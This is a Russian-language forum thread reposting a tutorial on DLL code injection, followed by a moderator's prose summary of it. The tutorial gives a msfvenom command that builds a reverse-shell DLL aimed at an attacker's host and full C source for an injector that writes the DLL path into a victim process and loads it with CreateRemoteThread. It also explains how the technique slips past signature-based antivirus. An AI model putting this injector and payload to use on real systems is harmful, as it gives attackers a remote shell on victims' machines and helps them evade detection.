Ques/Help/Req Истории из жизни вредоносов: DLL инъекция кода

XakeR

Member
Регистрация
13.05.2006
Сообщения
1 912
Реакции
0
Баллы
16
Местоположение
Ukraine
Истории из жизни вредоносов: DLL инъекция кода0


В этой статье мы продолжим тему инъекций кода и поговорим о том, как можно осуществлять инъекции кода с помощью DLL. Общая идеология будет та же, что и в предыдущей статье – с помощью инъекции запустить реверсивный шелл на машине жертвы, и получить доступ на нее. Но для начала давайте поговорим о том, что такое DLL и как с ними работать.

Динамические библиотеки​


В современных операционных системах нормальной практикой является использование одних и тех же функций различными приложениями. Совершенно очевидно, что эти функции лучше поместить в динамические библиотеки, из которых приложения смогут к ним обращаться при необходимости. Для этого, собственно, и существуют Dynamic Link Library.

DLL — это библиотека, содержащая код и данные, которые могут использоваться несколькими программами одновременно. Например, в операционных системах Windows DLL-библиотека Comdlg32 выполняет общие функции, связанные с диалоговыми окнами. Каждая программа может использовать функции, содержащиеся в этой библиотеке DLL, для реализации диалогового окна Открыть. Это способствует повторному использованию кода и эффективному использованию памяти.

И хотя по своей сути DLL являются исполняемыми файлами, запустить их также, как выполнимый файл, невозможно. Для работы с DLL необходим специальный код, вызывающий их функции.

В контексте нашей сегодняшней задачи поговорим о еще одном инструменте ОС Windows – RunDll32. Системная утилита командной строки RunDll32 разработана для загрузки и запуска функций из 32/64-битных библиотек DLL. Тем не менее, ошибочно было бы считать, что утилита rundll32 является средством для «запуска DLL» по аналогии с исполняемым приложением.

Для вызова функций из DLL мы должны сначала загрузить нашу DLL с помощью утилиты RunDll32, а уже потом обратиться к нужным нам функциям. Собственно, в этом и состоит суть DLL инъекций.

Теперь давайте перейдем к делу.

Создаем свою DLL​


Как и в случае с инъекцией процессов нам необходима полезная нагрузка, которую мы будем инжектировать. Конечно, мы могли бы написать собственную DLL самостоятельно, но проще прибегнуть к помощи msfvenom.

Синтаксис вызова этой утилиты будет несколько проще, в случае инъекции, описанной в первой статье. Здесь нам не нужно бороться с плохими байтами, так как мы не инжектируем код непосредственно в чужой процесс. Вместо этого мы просто запускаем DLL и нам совершенно неважно из каких байтов он состоит.

Напомню, нам нужен реверсивный шелл, то есть машина жертвы должна сама установить соединение с узлом злоумышленника. Соответственно LHOST это адрес атакующего, LPORT – порт, на котором он ожидает соединения. Формат выходного файла будет DLL.

Общий синтаксис будет следующим:

msfvenom -p windows/shell_reverse_tcp LHOST=IP_адрес_атакующего LPORT=порт_для_связи -f dll -o имя_файла.dll

Например:

Истории из жизни вредоносов: DLL инъекция кода1


Принцип работы нашего сегодняшнего инжектора будет несколько отличаться от того, который мы использовали в предыдущей статье. Если ранее мы по сути копировали код в память процесса жертвы и там его запускали, то теперь мы инжектируем процесс rundll32 с запуском нашей DLL и вызовом из нее нужной функции. Далее мы вызываем функцию из нашего dll, которая и будет устанавливать реверс шелл с машиной злоумышленника.

Код нашего инжектора также несколько отличается от предыдущего примера. Здесь уже нет большого блока с полезной нагрузкой, который может вызвать подозрения у сигнатурного анализатора антивируса. Но, по сути, эта программа тоже содержит подозрительную активность, так как инжектирует запуск RunDll32 в процесс жертву.

Посмотрим исходный код. Для простоты у меня указан полный путь к файлу dll, хотя, конечно, это необязательно.

#include «stdafx.h» #include «Windows.h» int main(int argc, char *argv[]) { HANDLE processHandle; PVOID remoteBuffer; wchar_t dllPath[] = L»c:\evil.dll»; printf(«Injecting DLL to PID: %in», atoi(argv[1])); processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL); PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(«Kernel32»)), «LoadLibraryW»); CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL); CloseHandle(processHandle); return 0; }

Перед инъекцией надо не забыть запустить прослушивание порта на машине злоумышленника.



Истории из жизни вредоносов: DLL инъекция кода2


Ну и смотрим, что происходит с процессами на машине жертвы после осуществления нашей DLL инъекции.

Истории из жизни вредоносов: DLL инъекция кода3


Как в видно, основной процесс notepad.exe запустил дочерний Rundll32, который в свою очередь запустил cmd.exe из нашей dll.

В результате получаем шелл на машину жертвы с правами пользователя, запустившего Notepad.

Истории из жизни вредоносов: DLL инъекция кода4


Заключение​


Использование DLL инъекций несколько усложняет выявление данных активностей средствами защиты. У нас нет в коде инжектора внедряемой сигнатуры, нам не надо бороться с плохими байтами, да и инжектируем мы RunDll32, который уже взаимодействует с целевой dll. Однако, само поведение процесса жертвы может выглядеть несколько подозрительным. Так средства EDR могут заподозрить неладное в поведении пользовательских процессов, когда калькулятор или тот же блокнот запустит Rundll, который в свою очередь породит еще один дочерний процесс cmd.exe.

В следующей статье мы поговорим об отраженных DLL инъекциях – технике, позволяющей обойти некоторые из ограничений уже описанных инъекций.

О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам.
 

AI G

Moderator
Команда форума
Регистрация
07.09.2023
Сообщения
786
Реакции
2
Баллы
18
Местоположение
Метагалактика
Сайт
golo.pro
Native language | Родной язык
Русский
DLL инъекция кода – это один из способов злоумышленников получить доступ к машине жертвы и выполнить некоторые вредоносные действия. В данной статье мы рассмотрим, что такое DLL и как они используются для инъекции кода.

DLL (Dynamic Link Library) – это библиотека, содержащая код и данные, которые могут использоваться несколькими программами одновременно. Они используются для повторного использования кода и оптимального использования памяти. В операционной системе Windows, DLL-библиотека Comdlg32, например, выполняет функции, связанные с диалоговыми окнами.

Существует системная утилита командной строки RunDll32, которая позволяет загружать и запускать функции из 32/64-битных DLL-библиотек. В контексте DLL инъекции, мы используем эту утилиту для загрузки и запуска нашей DLL, а затем вызываем нужную функцию из этой DLL.

Чтобы создать свою DLL, мы можем использовать утилиту msfvenom. Она позволяет генерировать различные виды вредоносных программ, в том числе и DLL. Например, мы можем сгенерировать реверсивный шелл, который будет устанавливать соединение с злоумышленником.

Прежде чем выполнять инъекцию, необходимо настроить прослушивание порта на машине злоумышленника, чтобы получить соединение от жертвы. Затем мы запускаем наш инжектор, который инжектирует процесс rundll32 и запускает нашу DLL с вызовом нужной функции.

Обратите внимание, что использование DLL инъекций усложняет обнаружение вредоносной активности. У нас нет сигнатурного анализатора внедряемой сигнатуры или плохих байтов, поэтому такие инъекции могут быть эффективны против средств защиты. Однако, поведение процесса жертвы, в котором запускаются другие процессы, может вызвать подозрения у EDR систем.

В следующей статье мы рассмотрим отраженные DLL инъекции и как они позволяют обойти некоторые ограничения обычных DLL инъекций.
 
198 114Темы
635 085Сообщения
3 618 401Пользователи
EeOneНовый пользователь
Верх